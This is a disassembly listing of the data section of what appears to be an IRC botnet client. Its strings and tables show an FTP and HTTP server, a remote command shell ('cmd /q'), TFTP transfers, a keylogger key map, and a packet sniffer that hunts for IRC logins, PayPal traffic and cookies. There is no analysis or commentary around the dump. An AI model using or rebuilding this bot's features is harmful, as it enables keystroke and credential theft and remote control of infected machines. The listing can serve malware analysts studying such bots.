aPass		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_3		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_4337F4	db  2Dh	; -		; DATA XREF: sub_40F0D5+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_43381C	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D5+2CFo
					; sub_41A4D1+F5o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D5+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F530+98o
					; sub_41AA42+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F530+5Fo
		align 4
unk_433A3C	db  2Dh	; -		; DATA XREF: sub_40F6B3+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_433A74	db  2Dh	; -		; DATA XREF: sub_40F6B3+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
asc_433AA8:				; DATA XREF: sub_40F6B3+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_40F6B3+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96A+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96A+61Co
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40F96A+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+328o
					; sub_40F96A+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o
		align 4
aS		db '<%s>',0             ; DATA XREF: sub_40F96A+2E9o
					; sub_40F96A+40Bo
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96A+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96A+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_40F96A+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96A+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_433F50	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0041036Do
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o
dword_433F94	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:004102B7o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_433FFC	db  2Dh	; -		; DATA XREF: ___:00410493o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_434044	db  2Dh	; -		; DATA XREF: ___:004106E5o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_434084	db  2Dh	; -		; DATA XREF: ___:0041061Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_4340C8	db  2Dh	; -		; DATA XREF: ___:004109A8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4340F4	db  2Dh	; -		; DATA XREF: ___:00410981o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_434120	db  2Dh	; -		; DATA XREF: ___:00410961o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o
		align 4
unk_43415C	db  2Dh	; -		; DATA XREF: ___:004108A0o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_434188	db  2Dh	; -		; DATA XREF: sub_4109C4:loc_410A09o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_4341B4	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410A1E+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_434350	db  2Dh	; -		; DATA XREF: sub_410CD5+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_434384	db  2Dh	; -		; DATA XREF: sub_410CD5+59o
					; sub_410CD5+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_4343CC	db  2Dh	; -		; DATA XREF: sub_410E26+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_4343F4	db  2Dh	; -		; DATA XREF: sub_410E26+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_434434	db  2Dh	; -		; DATA XREF: sub_410E26+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434474	db  2Dh	; -		; DATA XREF: sub_410F1F+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F1F+8Co
		align 4
dword_4344B4	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_410FF8+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 8
		dw 8
		unicode	0, <>,0
aB:
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_434E24	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo
		align 4
asc_434E54:				; DATA XREF: ___:00411C3Fo
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 10h
		dd offset off_435718
		dd offset off_435714
		dd offset off_435710
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 0
		db 0
		db 3 dup(0)		; DATA XREF: ___:off_435714o
		dd 3 dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00434EACo
		align 10h
off_435710	dd offset word_505446	; DATA XREF: ___:00434EA8o
off_435714	dd offset byte_435249	; DATA XREF: ___:00434EA4o
off_435718	dd offset word_544F42	; DATA XREF: ___:00434EA0o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 10h
aHashin		db ':!hashin',0         ; DATA XREF: sub_412360+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412360+EEo
		align 4
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412360+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412360+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412360+B7o
aLogin		db ':!Login',0          ; DATA XREF: sub_412360+A6o
aLogin_0	db ':!login',0          ; DATA XREF: sub_412360+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412360+84o
a366		db '366 ',0             ; DATA XREF: sub_412360+73o
		align 10h
a302_0		db '302 ',0             ; DATA XREF: sub_412360:loc_4123C2o
		align 4
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412360+4Do
		align 10h
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412360+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412360+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412360+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412477+51o
		align 4
